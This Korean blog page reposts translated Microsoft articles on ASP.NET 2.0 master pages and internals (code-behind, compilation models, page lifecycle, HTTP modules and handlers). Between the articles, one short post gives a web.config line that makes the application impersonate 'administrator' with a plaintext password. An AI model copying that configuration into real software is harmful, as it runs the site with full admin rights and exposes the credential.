두 마스터 페이지에는 사용자가 특정 마스터 페이지를 선택할 수 있는 DropDownList 컨트롤이 있습니다. 마스터 페이지를 선택하면 SelectMaster 메서드가 호출됩니다. 이 메서드는 선택된 마스터 페이지를 사용자 프로필에 할당하고 현재 페이지를 다시 로드합니다. PreInit 이벤트 동안 새로 선택한 마스터 페이지를 로드해야 하기 때문에 페이지 다시 로드 작업이 필요합니다.

결론

개인적으로 마스터 페이지는 ASP.NET 2.0에서 필자가 가장 좋아하는 새 기능입니다. 이 새 기능은 앞으로 ASP.NET 응용 프로그램을 만드는 방법에 가장 큰 영향을 미칠 것입니다. 현재는 익숙치 않은 사용자 컨트롤이나 사용자 지정 기반 Page 클래스를 통해 다시 사용할 수 있는 페이지 레이아웃을 만들고 있습니다만, 마스터 페이지를 사용하면 이 작업을 보다 명확하고 직관적인 방식으로 수행할 수 있습니다. 또한, 무엇보다 Microsoft Visual Studio .NET 2005는 디자이너 기능을 완벽하게 지원하므로 페이지 레이아웃을 만드는 동안 페이지 모양을 미리 볼 수 있습니다.

관련 서적

 


저자 소개

Stephen Walther는 ASP.NET 관련 베스트셀러 서적인 ASP.NET Unleashed의 저자입니다. 또한 Microsoft에서 만든 샘플 ASP.NET 응용 프로그램인 ASP.NET Community Starter Kit 설계자 및 수석 개발자입니다. Stephen의 회사인 Superexpert(http://www.superexpert.com/ )에서는 NASA와 Microsoft를 비롯하여 미국 전역의 회사에 대해 ASP.NET 교육을 제공했습니다

Posted by tornado
|

<identity impersonate="true" userName="administrator" password="1111"/>

 

 

Posted by tornado
|

ASP.NET 2.0 내부 변경 사항

Jayesh Patel, Bryan Acker, Robert McGovern
Infusion Development

2004년 8월

적용 대상:
   Microsoft ASP.NET 2.0

요약: ASP.NET 2.0은 이전 버전인 ASP.NET 1.1과 완벽하게 호환되지만, ASP.NET의 많은 요소들이 내부적으로 변경되었습니다. 변경된 요소에는 코드 모델, 컴파일, 페이지 주기 등이 있습니다. 이 기사에서는 이러한 변경 사항에 대해 간단히 설명합니다(21페이지/인쇄 페이지 기준).

목차

소개
코드 모델
컴파일
실행 중에 전체 컴파일(코드 디렉터리)
페이지 주기
확장성
고급 캐싱 기술
성능
결론

소개

전문 ASP.NET 개발자에게 있어서 ASP.NET 2.0의 큰 문제점은 내부 변경 사항과 연관되어 있습니다. 새로운 기능을 배우는 것은 흥미롭고 재미있습니다. 더욱이, ASP.NET 핵심 구조의 변경 사항은 해당 기술을 숙달하고자 하는 개발자에게 보다 큰 흥밋거리로 다가옵니다. 이 백서에서는 버전 1.x 이후의 ASP.NET 2.0 내부 구조 변경 사항에 대해 알아봅니다.

이 백서에서 다루는 항목은 성능을 중요시하는 개발자 및 기술 설계자가 응용 프로그램을 미세 조정하는 데 유용합니다. 특히 코드 모델, 컴파일, 페이지 주기, 확장성, 성능 및 캐싱과 같은 주요 영역에 대해 살펴봅니다.

이 문서에 사용된 대부분의 예를 이해하려면 ASP.NET, Visual Basic .NET 및/또는 C# 구문에 익숙해야 합니다. 해당하는 경우에는 특정 주제에 대한 자세한 설명을 볼 수 있도록 참조 문서가 제공되어 있습니다.

코드 모델

ASP.NET 2.0에서 가장 명백하게 나타나는 내부 변경 사항은 ASP.NET 웹 페이지를 만드는 방법입니다. 이 섹션에서는 코드 숨김 모델의 변경 사항 및 이 변경 사항이 ASP.NET 개발에 미치는 영향에 대해 설명합니다.

ASP.NET 1.x의 코딩 모델

ASP.NET 1.x에서는 개발자가 Web Form을 개발할 때 선택할 수 있는 두 가지 주요 옵션이 있었습니다. 첫째로, 개발자는 일반 ASP 모델에 따라 ASPX 페이지에서 직접 코드를 작성할 수 있었습니다. 코드 인라인이라는 이 과정은 단순한 명령에는 적합합니다. 그러나 보다 복잡한 코드의 경우 코드 인라인을 작성하면 표현(HTML)과 기능(코드)이 혼합된 웹 페이지를 읽기가 어려워집니다. ASP.NET의 기본 코딩 작업은 이러한 문제를 해결하기 위해 변경되었습니다. 코드 숨김 파일이라는 별도의 코드 전용 파일에서 비즈니스 논리 및 이벤트 처리 코드를 작성할 수 있습니다. 코드 숨김 모델은 프레젠테이션 태그가 포함된 ASPX 파일에 코드 전용 파일을 연결합니다. 표현과 코드를 분리함으로써 개발 팀에서 디자이너는 프레젠테이션 파일에서 작업하고 개발자는 코드 파일에서 작업하도록 하여 보다 신속하게 작업할 수 있습니다.

그림 1. ASP.NET 1.x 코딩 모델

코드 숨김 모델의 주요 문제점은 코드 숨김 파일을 ASPX 페이지와 동기화하는 방법이었습니다. 프로그래밍 관점에서 볼 때 ASPX 페이지가 코드 숨김 파일에서 상속되는 경우에도, 사실 두 파일은 더욱 복잡한 관계로 연결되어 있었습니다.

ASP.NET 1.x의 코드 숨김 모델에 대한 자세한 내용은 MSDN Library 기사 Web Forms 코드 모델 을 참조하십시오.

상속의 복잡성

ASP.NET의 디자인 패러다임은 개발자가 Microsoft Visual Studio .NET을 사용하여 컨트롤을 ASPX 페이지에 끌어 놓는 것이었습니다. 그러면 Visual Studio에서 코드 숨김 파일에 적합한 지원 코드를 자동으로 생성합니다. 컨트롤을 ASPX 페이지에 추가하면 새 코드를 코드 숨김 파일에 추가해야 합니다. 즉, 코드 숨김 파일이 ASPX 페이지에서 상속되는 경우에도 ASPX 페이지는 실제로 코드 숨김 파일의 디자인을 사용합니다.

컴파일의 복잡성

동기화의 두 번째 문제는 파일 컴파일 방법이었습니다. 모든 코드 숨김 파일은 지원 클래스와 함께 어셈블리로 컴파일되어 웹 응용 프로그램의 /bin 디렉터리에 저장됩니다. 컴파일 단계는 응용 프로그램 배포 이전에 이루어지는 반면, ASPX 페이지는 페이지를 처음 요청할 때 실행 중에 컴파일됩니다. ASP.NET 런타임은 실제로 ASPX 페이지를 고유한 임시 어셈블리로 컴파일합니다.

이 과정에서 발생하는 문제는 코드 숨김 어셈블리가 업데이트되지 않는 상태에서 ASPX 페이지를 변경할 수 있다는 점입니다. 즉, 개발자는 배포 후 ASPX 페이지에서 속성을 수정하거나 컨트롤의 형식을 변경할 수 있습니다. 이때 코드 숨김 파일은 업데이트되지 않으며 응용 프로그램 어셈블리도 다시 컴파일되지 않습니다. 이러한 경우 코드 숨김 파일과 연결된 ASPX 페이지가 일치하지 않기 때문에 응용 프로그램에서 예기치 않은 오류가 발생할 수 있습니다.

ASP.NET 2.0의 코딩 모델

ASP.NET 2.0에서도 코드 인라인 및 코드 숨김 코딩 모델을 모두 제공합니다. 코드 인라인 모델의 경우 Microsoft Visual Studio 2005에서 단일 파일 개발을 지원하는 방식을 제외하고는 거의 변경된 것이 없습니다. Visual Studio 2005의 변경 사항 및 코드 인라인 처리 방법에 대한 자세한 내용은 이 기사 를 참조하십시오.

ASP.NET 2.0에서는 코드 숨김 파일의 특성을 수정하여 코드 숨김 모델의 상속 및 컴파일 문제를 모두 해결했습니다. ASP.NET 2.0에서 코드 숨김 파일은 더 이상 System.Web.UI.Page 클래스의 완전한 구현이 아니며, 부분 클래스라는 새로운 구조로 되어 있습니다. 부분 클래스에는 사용자가 정의한 코드가 모두 포함되어 있지만, ASP.NET 1.x의 Visual Studio .NET에서 자동으로 생성된 모든 통로 및 연결 코드는 생략되어 있습니다. 새 코드 숨김 파일이 있는 ASPX 페이지를 요청하면 ASP.NET 2.0 런타임이 실제로 ASPX 페이지와 부분 클래스를 별도의 두 클래스가 아닌 단일 클래스로 결합합니다.

그림 2. ASP.NET 2.0의 코드 숨김 모델

부분 클래스에서는 새 키워드(Visual Basic의 Expands 또는 C#의 Partial)를 사용하여 실행 중에 클래스의 코드가 다른 클래스와 병합되도록 지정합니다. 마찬가지로, ASPX 페이지에서는 compilewith라는 새 지시문을 사용하여 코드 숨김 파일과 연결되도록 지정합니다.

코드 숨김 파일 비교

일반 ASP.NET 1.x 코드 숨김 파일에 친숙한 경우 Visual Studio에서 자동으로 생성된 컨트롤 선언 및 초기화 코드를 삽입한다는 것을 알고 있을 것입니다. 자동으로 생성된 이 코드는 코드 숨김 파일과 ASPX 파일이 양방향으로 동기화되어 직접적으로 생기는 결과입니다. 레이블이 있는 일반 ASPX 페이지에는 자동으로 생성된 여러 텍스트 줄로 구성된 해당 코드 숨김 파일이 있습니다.

목록 1. ASP.NET 1.x의 코드 숨김 파일

namespace WebApplication1{  public class WebForm1 : System.Web.UI.Page에서  {    protected System.Web.UI.WebControls.Label Label1;    private void Page_Load(object sender,       System.EventArgs e) {    }    #region Web Form Designer generated code      override protected void OnInit(EventArgs e)      {        InitializeComponent();        base.OnInit(e);      }      private void InitializeComponent()      {            this.Load += new System.EventHandler(this.Page_Load);      }      #endregion  }}

자동으로 생성된 코드는 레이블(굵게 표시된 줄)을 정의할 뿐 아니라 새 이벤트(페이지 로드)를 선언하고 자동으로 생성된 메서드 래퍼(Page_Load())에 이 이벤트를 자동으로 연결하기도 합니다.

이에 비해 ASP.NET 2.0에서 같은 ASP.NET 페이지는 훨씬 깔끔한 코드 숨김 파일을 생성합니다.

목록 2. ASP.NET 2.0의 코드 숨김 파일

namespace ASP {public partial class Webform1_aspx{}}

개발자는 Label1에 자동으로 액세스하여 필요에 따라 이벤트를 추가할 수 있습니다. 예를 들어 Page_Load 이벤트를 추가하여 레이블을 초기화할 수 있습니다.

목록 3. 새 코드 숨김 파일의 이벤트 추가 작업

namespace ASP {public partial class Webform1_aspx{  void Page_Load(object sender, EventArgs e)  {    Label1.Text = "Hello ASP.NET 2.0";  }}}

이벤트 구문은 Visual Studio .NET을 통해 생성할 수 있습니다. 결과로 생성되는 코드 숨김 파일은 길이가 훨씬 짧고 자동 생성 코드가 없습니다. ASP.NET 런타임은 코드 숨김 파일의 이벤트를 ASPX의 컨트롤에 자동으로 연결합니다. 즉, ASP.NET 런타임은 이제 Visual Studio에서 수행했던 코드 생성 작업을 자동으로 수행합니다.

상속의 복잡성

새 코드 숨김 모델에서는 상속의 복잡성이 크게 줄었습니다. ASPX 페이지가 코드 숨김 파일에서 직접 상속되지 않으므로, 코드 숨김 파일은 ASPX 페이지에서 정의되는 모든 컨트롤을 더 이상 정의 및 지원하지 않아도 됩니다. 마찬가지로 코드 숨김 파일은 ASP.NET 1.x에서는 필요했던 선언 코드가 없어도 ASPX 페이지에서 컨트롤에 자동으로 액세스할 수 있습니다. ASP.NET 런타임이 필요한 선언 및 이벤트 작성 코드를 컴파일된 최종 파일에 자동으로 삽입하기 때문에 이 모든 기능이 가능한 것입니다. 런타임이 이 작업을 처리하므로 코드 개발자나 웹 개발자는 이에 대해 신경쓰지 않아도 됩니다.

디자인하는 동안 링크는 Visual Studio 2005에서 관리됩니다. Visual Studio 환경에서는 ASP.NET 런타임 컴파일을 사용하여 코드 개발자와 웹 개발자가 동기화하면서 작업할 수 있도록 합니다.

컴파일의 복잡성

새 코드 숨김 파일은 ASPX 페이지에 결합되고 실행 중에 완전한 단일 클래스로 컴파일되기 때문에 컴파일이 전혀 복잡하지 않습니다. 즉, 코드 숨김 파일은 ASPX 페이지와 자동으로 동기화됩니다. 새 컴파일 모델을 사용해도 코드가 동기화되지 않을 수 있지만, 그 결과로 발생하는 예외가 훨씬 명확하기 때문에 문제점을 빨리 파악할 수 있습니다.

컴파일

ASP.NET 1.x에 도입된 페이지 모델로 인해 ASP.NET 웹 페이지의 컴파일 과정은 항상 두 단계로 나눠져 있었습니다. 먼저 코드 숨김 파일 및 기타 지원 클래스가 어셈블리로 컴파일된 다음, 실행 중에 개별 ASPX 파일이 컴파일됩니다. 이 모델에는 많은 장점이 있지만 몇 가지 단점도 있습니다. ASP.NET 2.0에서는 사용자의 특정 요구에 따라 보다 광범위한 컴파일 옵션을 제공함으로써 이 기본 모델에 대한 몇 가지 대안을 제공합니다.

ASP.NET 1.x의 컴파일

ASP.NET 1.x의 기본 컴파일 모델은 요청된 각 ASPX 페이지에 대해 하나의 응용 프로그램 어셈블리(컴파일된 모든 코드 숨김 파일 및 기타 소스 코드 포함) 및 하나의 임시 어셈블리를 만들었습니다. 일괄 처리와 같은 컴파일러 최적화로 인해 임시 ASPX 페이지가 동일한 어셈블리로 컴파일되는 경우도 있습니다. 두 가지 경우 모두 각 ASPX 페이지는 임시 어셈블리로 컴파일되기 때문에 ASP.NET 런타임으로 로드할 수 있습니다.

그림 3. ASP.NET 1.x의 컴파일

이 모델에는 장점도 있지만, 두 가지 주요 단점이 있습니다. 첫째로, ASPX 페이지는 읽을 수 있는 형식으로 웹 사이트에 배포해야 합니다. 개발자가 코드 인라인 모델을 사용한 경우에는 일부 또는 전체 비즈니스 논리를 프로덕션 서버에서 배포할 수도 있습니다. 원시 ASPX 페이지를 제공하지 않도록 IIS 및 ASP.NET을 구성한 경우에도, 기술력이 높은 공격자는 웹 서버 액세스를 통해 여전히 파일에 액세스할 수 있습니다. 둘째로, ASP.NET 런타임이 ASPX 페이지를 컴파일해야 하기 때문에 웹 페이지를 처음 요청할 때는 응답이 보통 때보다 늦습니다.

개발자가 이 프로세스에 대해 제어할 수 있는 유일한 사항은 ASPX 페이지 일괄 컴파일 여부입니다. ASP.NET 1.x에서는 <compilation> 태그를 수정하여 web.config 파일에서 일괄 컴파일을 구성할 수 있습니다.

목록 4. 일괄 컴파일 구성

<compilation    batch="true|false"  batchTimeout="시간(초)"              maxBatchSize="일괄 컴파일당 최대 페이지 수"  maxBatchGeneratedFileSize="일괄 컴파일당 생성되는    소스 파일의 최대 결합 크기(KB)"          </compilation>(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

일괄 컴파일을 사용하면 웹 페이지를 처음 요청할 때 시작 시간은 길어지는 대신 로드 시간이 줄어듭니다. 일괄 컴파일의 두 번째 장점은 모든 ASPX 파일이 페이지당 하나의 임시 어셈블리로 컴파일되지 않고 단일 임시 어셈블리로 컴파일된다는 점입니다.

ASP.NET 2.0의 컴파일

ASP.NET 2.0에서는 웹 응용 프로그램에 대해 다음과 같은 4가지 컴파일 모델을 제공합니다.

  • 일반(ASP.NET 1.x)-일반 ASP.NET 웹 응용 프로그램에서 코드 숨김 파일은 어셈블리로 컴파일되어 /bin 디렉터리에 저장됩니다. 요청 시 웹 페이지(ASPX)가 컴파일됩니다. 이 모델은 대부분의 웹 사이트에 적합합니다. 그러나 컴파일 프로세스로 인해 처음 ASP.NET 페이지를 요청할 때 후속 요청에 비해 속도가 느립니다. ASP.NET 2.0에서도 이 컴파일 모델을 지원합니다.
  • 일괄 컴파일-ASP.NET 2.0에서는 단일 URL 요청으로 응용 프로그램을 일괄 컴파일할 수 있습니다. ASP.NET 1.x를 사용할 때와 마찬가지로, 일괄 컴파일을 사용하면 처음 페이지를 요청할 때는 지연되지 않지만 시작 시 주기 시간이 길어집니다. 또한 일괄 컴파일을 사용하려면 여전히 코드 숨김 파일을 컴파일하여 미리 배포해야 합니다.
  • 미리 컴파일하여 배포-ASP.NET 2.0의 새 기능을 사용하면 배포하기 전에 프로젝트를 완전히 컴파일할 수 있습니다. 전체 컴파일에서 응용 프로그램의 크기와 컴파일 설정에 따라 모든 코드 숨김 파일, ASPX 페이지, HTML, 그래픽 리소스 및 기타 백엔드 코드가 실행 가능한 하나 이상의 어셈블리로 컴파일됩니다. 이 어셈블리에는 웹 사이트의 컴파일된 코드가 모두 포함되며, 리소스 파일 및 구성 파일이 수정되지 않고 복사됩니다. 이 컴파일 방법을 사용하면 성능과 보안을 최상으로 유지할 수 있지만 배포 후에 웹 사이트를 수정할 수는 없습니다. 굉장히 시각적이거나 안전한 웹 사이트로 작업하는 경우 이 옵션은 최종적으로 배포할 때 적합합니다. 그러나 로컬 인트라넷에서 실행되며 자주 변경되는 소규모 사이트를 만드는 경우 미리 전체를 컴파일하는 작업은 불필요합니다.
  • 실행 중에 전체 컴파일-미리 컴파일하여 배포하는 방법과 반대로, ASP.NET 2.0에서는 실행 중에 전체 응용 프로그램을 컴파일하는 새 메커니즘을 제공합니다. 즉, 컴파일되지 않은 코드 숨김 파일 및 기타 관련 코드를 새 코드 디렉터리에 배치한 다음 실행 중에 이 파일로부터 생성될 어셈블리의 참조를 ASP.NET 2.0에서 자동으로 만들어 유지하도록 할 수 있습니다. 이 옵션을 사용하면 가장 융통성 있게 웹 사이트 콘텐츠를 변경할 수 있지만 컴파일되지 않은 코드를 서버에 저장해야 합니다.

환경과 요구 사항에 가장 적합한 컴파일 옵션을 선택할 수 있지만, 컴파일 모델에는 항상 융통성이 있습니다. 코드 디렉터리를 사용하여 코드 숨김 파일을 저장하는 경우에도 전체 컴파일 방법을 사용하여 응용 프로그램을 배포할 수 있습니다.

일괄 컴파일

ASP.NET 2.0에서도 web.config 일괄 컴파일 설정을 사용할 수 있습니다. 일괄 컴파일의 장점은 첫 사용자가 페이지를 즉시 사용할 수 있으며, 일괄 컴파일 작업 중에 ASPX 페이지의 오류가 검색된다는 점입니다. 그러나 일괄 컴파일을 사용하면 응용 프로그램을 시작할 때 지연이 발생하며 web.config 파일에서 일괄 컴파일을 구성해야 합니다.

미리 컴파일하여 배포

미리 컴파일하여 배포하는 경우 웹 사이트의 실행 파일 버전인 어셈블리를 하나 이상 만들 수 있습니다. 그 결과로 생기는 어셈블리에는 웹 사이트의 컴파일 코드가 포함됩니다. HTML 페이지, 리소스, 구성 파일 및 ASPX 페이지는 별도로 복사됩니다.

미리 컴파일하여 배포하려면 aspnet_compiler.exe라는 명령줄 유틸리티를 사용해야 합니다. 이 유틸리티는 대상 배포 디렉터리를 만드는데, 이 디렉터리에는 다양한 ASPX 페이지의 어셈블리 및 스텁 파일이 있는 /bin 디렉터리가 포함되어 있습니다. 이 유틸리티를 사용하면 "magic page"(마법 페이지)를 호출하는 동작과 비슷하게 현재 위치에서 미리 컴파일할 수도 있습니다. 스텁 파일은 ASPX 페이지와 이름이 같지만 컴파일된 어셈블리로 호출되는 단순 코드를 포함하고 있습니다. 즉, ASPX 페이지는 완전한 기능을 갖춘 페이지라기보다는 단순히 빈 셸입니다.

웹 사이트를 미리 구성하여 배포하면 어셈블리를 디컴파일하지 않고서는 코드에 액세스할 수 없기 때문에 보안이 크게 향상됩니다. 보안을 더욱 향상시키려면 컴파일의 결과물인 어셈블리를 판독하기 어렵게 처리하여 웹 응용 프로그램을 더욱 안전하게 만들 수 있습니다. 미리 컴파일하여 배포하는 방법의 가장 큰 단점은 이 단계를 배포 전에 수행해야 하기 때문에 배포한 후에는 웹 사이트를 변경할 수 없다는 점입니다. 웹 사이트를 변경하려면 웹 사이트를 다시 컴파일하여 다시 배포해야 합니다.

미리 컴파일하여 배포하는 옵션은 웹 서버에 배포되는 원시 코드의 양을 줄이고 최고의 보안을 제공하기 때문에 대부분의 주요 웹 응용 프로그램에서 배포에 사용되는 메커니즘입니다. 생산성을 크게 저하시키지 않고 이 향상된 프로세스를 일반 개발/테스트/배포 주기에 포함할 수 있습니다.

실행 중에 전체 컴파일(코드 디렉터리)

지금까지 설명한 세 가지 컴파일 방법 모두, 배포하기 전에 모든 코드 파일(코드 숨김 파일 및 지원 클래스)을 컴파일해야 합니다. ASP.NET 2.0에서는 코드 디렉터리를 사용할 수 있습니다.

코드 디렉터리는 컴파일되지 않은 클래스를 보관하는 특수 디렉터리입니다. 실행 중에 ASP.NET 런타임은 응용 프로그램에서 ASPX 페이지가 자동으로 참조하는 어셈블리로 이 디렉터리의 콘텐츠를 컴파일합니다. 즉, 코드 디렉터리를 사용함으로써 지원 코드에 대해 별도의 어셈블리를 만들고 참조하지 않아도 됩니다. 코드 디렉터리의 장점은 프로젝트를 완전히 컴파일하지 않고 배포할 수 있으므로 잠재적인 불일치 문제를 줄일 수 있다는 점이며, 단점은 서버에서 컴파일되지 않은 코드가 노출된다는 점입니다.

이 옵션은 코드 숨김 파일 또는 외부 개체의 형식으로 지원 코드가 많이 필요하지 않은 ASP.NET 응용 프로그램에 적합합니다. 간단한 응용 프로그램의 경우에는 시스템을 빠르게 배포 및 테스트할 수 있는 방법을 사용하는 것이 보다 강력한 컴파일 방법을 사용하는 것에 비해 더 유리합니다.

페이지 주기

ASP.NET 2.0에서는 ASP.NET 페이지의 주기에서 두 가지 주요 사항이 변경되었습니다. 첫째로, ASP.NET 2.0에서는 새 이벤트를 제공하여 마스터 페이지, 개인 설정, 통합 모바일 장치 지원 등의 새 기능을 지원합니다. 둘째로, ASP.NET 2.0에는 Web Forms의 페이지 간 게시 기능이 도입되었습니다.

새 이벤트

ASP.NET 2.0에서는 ASP.NET 1.x에 비해 보다 세분화된 페이지 주기 메서드 스택을 제공합니다. 추가된 메서드는 웹 개발자에게 보다 향상된 제어 기능을 제공합니다. ASP.NET 페이지의 Page 개체를 통해 이러한 이벤트에 액세스할 수 있습니다.

표 1은 광범위한 메서드 목록을 보여 줍니다. 메서드 열에는 실제 이벤트 메서드 이름이 표시되며, 활성 열은 이벤트가 항상 활성 상태인지 아니면 PostBack 작업 동안에만 활성화되는지를 나타냅니다. 예를 들어 새 TestDeviceFilter 메서드를 사용하여 어떤 장치 필터가 있는지 확인할 수 있으며 이 정보를 통해 페이지 표시 방법을 결정할 수 있습니다. 반면에 새 LoadControlState 메서드는 포스트백(postback) 동안에만 활성화됩니다. SaveControlState와 함께 이 메서드를 재정의하여 포스트백(postback) 동안 컨트롤 상태를 저장 및 복원하기 위한 대체 serialization 구성표를 만들 수 있습니다.

표 1. 페이지 주기 메서드

메서드활성
Constructor항상
Construct항상
TestDeviceFilter항상
AddParsedSubObject항상
DeterminePostBackMode항상
OnPreInit항상
LoadPersonalizationData항상
InitializeThemes항상
OnInit항상
ApplyControlSkin항상
ApplyPersonalization항상
OnInitComplete항상
LoadPageStateFromPersistenceMediumPostBack
LoadControlStatePostBack
LoadViewStatePostBack
ProcessPostData1PostBack
OnPreLoad항상
OnLoad항상
ProcessPostData2PostBack
RaiseChangedEventsPostBack
RaisePostBackEventPostBack
OnLoadComplete항상
OnPreRender항상
OnPreRenderComplete항상
SavePersonalizationData항상
SaveControlState항상
SaveViewState항상
SavePageStateToPersistenceMedium항상
Render항상
OnUnload항상

페이지 주기에 대해 간단히 살펴보면, 테마와 개인 설정 같이 ASP.NET 2.0에서 사용할 수 있는 여러 기능이 자연스럽게 구현되는 위치를 볼 수 있습니다. 예를 들어 테마는 IntializeThemes 이벤트에서 처리되며 개인 설정 데이터는 LoadPersonalizationData에서 로드된 다음 나중에 ApplyPersonalization 메서드에서 적용됩니다. 어떤 UI 요소가 웹 응용 프로그램의 최종적인 모양과 느낌을 결정하는지와 관련하여 메서드 순서는 매우 중요합니다.

페이지 간 게시

페이지 주기의 두 번째 주요 변경 사항은 포스트백(post back) 이벤트 및 Web Forms 관련 사항입니다. ASP.NET 1.x에서는 Web Forms가 호스트 페이지로 자동 포스트백(postback)됩니다. 즉, 사용자가 양식을 제출하면 양식 데이터는 원래 양식이 포함된 페이지로 항상 다시 전송됩니다. 이 방법으로 디자인하면 컨트롤 상태를 쉽게 저장할 수 있지만 개발자가 보다 복잡한 작업을 수행하는 데 제한이 있습니다.

ASP.NET 2.0에서는 개발자가 양식 데이터를 제출하는 위치를 결정할 수 있는 새 속성이 Web Form 컨트롤에 포함되어 있습니다. 대부분의 경우에는 포스트백(postback) 메커니즘이 적합하므로 여전히 이 메커니즘이 기본값입니다. 그러나 이제 개발자는 다른 데이터를 다른 양식에 게시할 수도 있습니다.

그림 4. 포스트백(Postback) 및 페이지 간 게시

예를 들어 여러 가지 양식으로 구성된 다중 페이지 마법사를 만들 수 있습니다. 최종 유효성 검사가 발생할 수 있는 요약 페이지에 도달할 때까지 각 양식은 순서대로 다음 페이지로 제출됩니다. PreviousPage 개체를 사용하여 현재 컨텍스트에서 마지막 페이지의 데이터에 액세스할 수 있습니다. PreviousPage 개체는 현재 페이지에 사용할 수 있도록 이전 페이지에서 유효성을 검사한 데이터를 저장합니다. 이 개체 덕분에 페이지 간 게시를 사용할 때 컨트롤을 유지할 수 있습니다. 시퀀스에서 양식 한 개를 백업해야 하는 경우 페이지 데이터에 즉시 액세스할 수 있으며 모든 데이터를 다시 입력할 필요가 없습니다.

확장성

ASP.NET은 원래 개방형 프레임워크로 디자인되었습니다. 즉, ASP.NET을 구성하는 대부분의 모듈 및 구성 요소를 필요에 맞게 확장, 수정 또는 대체할 수 있습니다. ASP.NET 2.0에서는 이제 프레임워크의 표준이 된 새 HTTPHandlersHTTPModules를 통해 프레임워크의 확장성을 더욱 명확하게 확인할 수 있습니다.

요청 파이프라인

ASP.NET에서 요청은 웹 서버로부터 ISAPI(인터넷 서버 응용 프로그래밍 인터페이스) 필터를 통해 실제 ASP.NET 런타임으로 전달됩니다.

그림 5. 요청 파이프라인

IIS에서 요청을 받으면 IIS 설정에 따라 확장명이 ISAPI 필터에 매핑됩니다. .aspx, .asmx, .asd 등의 확장명은 aspnet_isapi.dll로 매핑됩니다. aspnet_isapi.dll은 ASP.NET 런타임을 시작하는 ISAPI 필터입니다. 요청이 발생하면 ASP.NET 런타임은 ASP.NET 웹 응용 프로그램의 호스트 역할을 하는 HTTPApplication 개체에서 시작됩니다. HTTPApplication 개체는 다음과 같은 동작을 수행합니다.

  1. 컴퓨터 및 응용 프로그램 수준의 구성 파일을 읽습니다.
  2. 하나 이상의 HTTPModule 인스턴스를 통해 요청을 전달합니다. 각 HTTPModule은 세션 유지 관리, 인증 또는 프로필 유지 관리와 같은 서비스를 제공합니다. 이 모듈은 요청을 다시 HTTPApplication으로 전달합니다.
  3. 동사 및 경로를 기준으로 요청을 HTTPHandler로 전달합니다. 동사는 요청(GET, POST, FTP 등)에 사용된 HTTP 동사를 참조하며, 경로는 응용 프로그램 내의 URL을 참조합니다. 처리기를 구성하는 방법에 따라 요청을 ASP.NET 페이지로 처리할 수도 있고, 요청으로 인해 모든 웹 페이지의 일괄 컴파일 등 다른 동작이 호출될 수도 있습니다(System.Web.UI.PageIHTTPHandler를 구현한 것이며 precomiplation.asd는 PrecompHandler를 호출함).

ASP.NET 2.0에서도 이 모델은 그대로 유지되지만, 다양한 모듈 및 처리기가 새로 추가되어 더 많은 서비스를 제공합니다. ASP.NET 1.x에서와 마찬가지로 모듈 또는 처리기 클래스를 확장, 대체 또는 재구성하여 사용자 지정 기능을 제공할 수 있습니다.

새 모듈

HTTPModules가 추가되어 ASP.NET 2.0에서 제공되는 새로운 서비스를 지원합니다. 특히 기본 모듈 설정이 지정된 ASP.NET 응용 프로그램에는 다음에 대한 새 모듈이 포함됩니다.

  • SessionID-ASP.NET 1.x 세션 모듈에서 세션 ID 메커니즘이 분리되어 쿠키, URL 다시 작성 및 기타 세션 ID 생성 양식을 보다 효과적으로 제어할 수 있습니다.
  • 역할 관리-새 모듈이 추가되어 새 사용자 ID 메커니즘을 지원하는 역할 기반 서비스를 제공합니다. 이 모듈을 사용하면 .NET 프레임워크에 구축된 역할 기반 보안에 ASP.NET 응용 프로그램을 쉽게 연결할 수 있습니다.
  • 익명 ID-새 개인 설정 기능은 익명 사용자를 지원합니다. 이 모듈을 사용하면 익명 사용자가 액세스할 수 있는 기능 및 요청 간에 이 기능이 유지 관리되는 방법을 파악할 수 있습니다.
  • 프로필-프로필 모듈은 새 프로필 서비스에 연결되며 사용자별 영구 데이터 저장소를 제공할 수 있도록 합니다.
  • 페이지 카운터-ASP.NET 2.0은 새 모듈을 통합하여 페이지 카운터에 연결하고 웹 트래픽의 통계 분석 기능을 향상시킵니다.

이러한 새 모듈 외에도, 일부 이전 모듈의 동작이 변경되었습니다. 예를 들어 출력 캐싱 모듈은 이 백서 뒷부분에 설명할 새 캐싱 기술을 지원합니다.

새 처리기

새 모듈 외에도, ASP.NET 2.0에는 응용 프로그램 구성 도구 및 일괄 컴파일 요청 등의 기타 새 기능을 지원하는 처리기가 새로 추가되었습니다. 새 처리기 중 가장 중요한 처리기에는 웹 사이트 관리 요청을 처리하는 ".axd" 패밀리가 있습니다. 이 처리기는 개발자가 ASP.NET 사용자 및 기타 설정을 구성할 수 있도록 하는 내부 관리 도구를 시작합니다. 이러한 관리 처리기는 다음과 같습니다.

  • 웹 관리-WebAdminHandler는 관리 웹 사이트의 기본 페이지입니다. 이 처리기를 사용하여 ASP.NET 2.0 웹 응용 프로그램 관리를 시작할 수 있습니다.
  • 추적-ASP.NET 1.x TraceHandler가 향상되었습니다. 이 처리기는 ASP.NET 1.x에서 사용할 수 있었던 유일한 "axd" 처리기입니다.
  • 웹 리소스-새 관리 도구 및 WebResourcesHandler를 통해 이제 웹 리소스를 배포 후에 구성할 수 있습니다.
  • 캐시된 이미지-CachedImageServiceHandler는 그래픽 구성 요소 캐싱을 지원합니다.
  • 카운터-SiteCountersHandler를 페이지 카운터 모듈과 함께 사용하여 ASP.NET 2.0 응용 프로그램의 액세스 통계를 제공합니다.
  • 미리 컴파일-앞에서 언급한 대로, PrecompHandler를 사용하여 ASP.NET 응용 프로그램의 모든 ASPX 페이지를 일괄 컴파일할 수 있습니다.
  • 웹 파트 내보내기-WebPartExportHandler는 웹 파트 레이아웃의 저장 및 전송을 지원합니다. 웹 파트는 포털형 웹 응용 프로그램의 모양과 콘텐츠를 개인 설정할 수 있는 새로운 메커니즘입니다.

일반적인 경우와 같이 HTTPForbiddenHandler는 반환해서는 안 되는 파일 형식에 연결됩니다. ASP.NET 2.0에서는 금지된 파일 형식의 범위가 보다 넓어져서 마스터 페이지, 스킨 파일 및 기타 새 개발자 구성 요소가 포함됩니다.

고급 캐싱 기술

